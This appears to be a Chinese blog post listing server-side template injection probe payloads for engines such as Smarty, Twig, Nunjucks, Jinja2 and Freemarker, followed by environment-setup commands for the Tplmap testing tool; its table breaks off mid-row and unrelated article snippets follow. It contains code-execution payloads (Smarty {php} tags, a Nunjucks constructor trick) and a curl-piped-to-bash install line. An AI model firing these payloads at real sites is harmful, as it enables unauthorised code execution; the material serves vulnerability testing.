服务端模版注入漏洞检测payload整理
服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞
下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注入在能回显的情况下会将验证栏的数据当模版执行,利用引擎提供的功能进行了计算大部分执行结果都会变成1522756。
|
模版引擎
|
语言
|
验证
|
代码执行
|
盲检测
|
|---|---|---|---|---|
| Smarty(secured) | php | {1234*1234} | x | x |
| Smarty(unsecured) | php | {1234*1234} | {php}echo md5(0xaa);{/php} | |
| twig | php | {{“abcdefg”|upper}} | x | x |
| Nunjucks | javascript | {{1234*1234}} | {{range.constructor(“return+’abcdefghi’.toUpperCase()”)()}} | |
| doT | javascript | {{=1234*1234}} | ||
| Jade | javascript | %0a=1234*1234%0a | ||
| Marko | javascript | ${1234*1234} | ||
| Mako | python | ${1234*1234} | ||
| Jinja2 | python | {{1234*1234}} | ||
| Tornado | python | {{1234*1234}} | ||
| Slim | ruby | =”#{1234*1234}” | ||
| ERB | ruby | <%=”#{1234*1234}”%> | ||
| Freemarker | java | ${(1234*1234)?c} | ||
| Velocity | java |
#set(
|
附录一
升级ruby 查看ruby版本 ruby —version
利用rvm Ruby版本管理器升级 查看支持升级的版本 rvm list known
升级指定版本 rvm install 2.3
rockup命令安装 gem install rock
附录二
安装gradle
# mkdir /opt/gradle
# cd /opt/gradle
# wget https://services.gradle.org/distributions/gradle-3.5-bin.zip
# unzip gradle-3.5-bin.zip
# export PATH=$PATH:/opt/gradle/gradle-3.5/bin
# gradle -v
附录三
安装java1.8 http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html 下载 jdk-8u131-linux-x64.tar.gz
export PATH=$PATH:/opt/java8/jdk1.8.0_131/bin
其他环境搭建
Tplmap 测试环境搭建
php环境
yum install wget php unzip
php -S 0.0.0.0:15002 -t env_php_tests/
nodejs环境
yum install epel-release
yum install nodejs
cd /root/tplmap-master/tests/env_node_tests/lib; node connect-app.js;
java环境
下载相应的rpm包
http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html
rpm -ivh jdk-8u131-linux-x64.rpm
mkdir /opt/gradle
cd /opt/gradle
wget https://services.gradle.org/distributions/gradle-3.5-bin.zip
export PATH=$PATH:/opt/gradle/gradle-3.5/bin
ruby环境
利用yum 安装的ruby为2.0.0,不符号要求
安装rvm
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3
curl -sSL https://get.rvm.io | bash -s stable
source /etc/profile.d/rvm.sh
rvm reload
rvm requirements run #检测并安装依赖
rvm install 2.3.4
gem install cuba
gem install tilt
gem install slim
cd env_ruby_tests/
rackup -o 0.0.0.0 -p 15005
python环境
yum install epel-release
yum install python-pip
pip install mako jinja2 flask tornado
python webserver.py
服务端模版注入漏洞检测payload整理的更多相关文章
- SSTI服务端模板注入漏洞原理详解及利用姿势集锦
目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...
- Flask(Jinja2) 服务端模板注入漏洞(SSTI)
flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...
- Flask(Jinja2) 服务端模板注入漏洞
原理 参考文章: https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-R ...
- 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)
前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...
- python-flask-ssti(模版注入漏洞)
SSTI(Server-Side Template Injection) 服务端模板注入 ,就是服务器模板中拼接了恶意用户输入导致各种漏洞.通过模板,Web应用可以把输入转换成特定的HTML文件或者e ...
- SSTI-服务端模板注入漏洞
原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...
- Weblogic服务端请求伪造漏洞(SSRF)和反射型跨站请求伪造漏洞(CSS)修复教程
一.服务端请求伪造漏洞 服务端请求伪造(Server-Side Request Forgery),是指Web服务提供从用户指定的URL读取数据并展示功能又未对用户输入的URL进行过滤,导致攻击者可借助 ...
- WEB服务端安全---注入攻击
注入攻击是web领域最为常见的攻击方式,其本质是把用户输入的数据当做代码执行,主要原因是违背了数据与代码分离原则,其发生的两个条件:用户可以控制数据输入:代码拼接了用户输入的数据,把数据当做代码执行了 ...
- Python-编写一个mysql注入漏洞检测工具
判断mysql网站是否存在注入漏洞的几个方法: 注入点后加上一个单引号会报错 and 1=1返回正常页面,and 1=2返回的页面不同于正常页面 and sleep(3) 网页会等待3秒左右 根据返回 ...
随机推荐
- js检测是够断网
方法 一 navigator.onLine 这个html5的 navigator的新特性可以很简单帮我们搞定 HTML5为此定义了一个navigator.onLine属性,这个属性值为true表示 ...
- 说说Javac
Java语言有Java语言的规范,,这个规范详细描述了Java语言有哪些词法.语法,而Java虚拟机也有其Java虚拟机的规范,同样Java虚拟机的规范和Java语言规范并不一样,它们都有自己的词法和 ...
- 编写一个ComputerAverage抽象类,类中有一个抽象方法求平均分average,可以有参数。定义 Gymnastics 类和 School 类,它们都是 ComputerAverage 的子类。Gymnastics 类中计算选手的平均成绩的方法是去掉一个最低分,去掉一个最高分,然后求平均分;School 中计算平均分的方法是所有科目的分数之和除以总科目数。 要求:定义ComputerAv
题目: 编写一个ComputerAverage抽象类,类中有一个抽象方法求平均分average,可以有参数. 定义 Gymnastics 类和 School 类,它们都是 ComputerAverag ...
- (转)WebSocket的原理
前言:无聊逛知乎,就逛到H5的栏目去了,正好看到了关于Websocket的东西.个人是比较喜欢看这类风格的,转到博客分享,以便自己以后理解. ---------------------分割线----- ...
- mysql/mariadb将选择查询的结果重新生成一张新表格
比如想要生成类似如下的表格 mysql> select student.*,sc.cno,course.cname,sc.grade,course.cpno,course.ccredit fro ...
- html 头标签 <meta http-equiv 属性应用。
比较常用的 1. 网页出现乱码时设置字符集 <meta http-equiv="content-Type" content="text/html; charset= ...
- MySQL下查看和赋予权限
磨砺技术珠矶,践行数据之道,追求卓越价值 回到上一级页面: PostgreSQL杂记页 回到顶级页面:PostgreSQL索引页 [作者 高健@博客园 luckyjackgao@gmail. ...
- 【转载】ArcBall二维控制三维旋转
原文:http://oviliazhang.diandian.com/post/2012-05-19/40027878859 由于目前大多的显示器是二维的,要控制三维物体的旋转就显得不那么直接了.Ar ...
- [SCOI2016]幸运数字 树链剖分,线性基
[SCOI2016]幸运数字 LG传送门 为了快乐,我们用树剖写这题. 强行树剖,线段树上每个结点维护一个线性基,每次查询暴力合并. 瞎分析一波复杂度:树剖两点之间\(\log n\)条重链,每条重链 ...
- JZOJ5371 组合数问题
Description 定义"组合数"S(n,m)代表将n 个不同的元素拆分成m 个非空集合的方案数. 举个例子,将{1,2,3}拆分成2 个集合有({1},{2,3}),({2},{1,3}),({ ...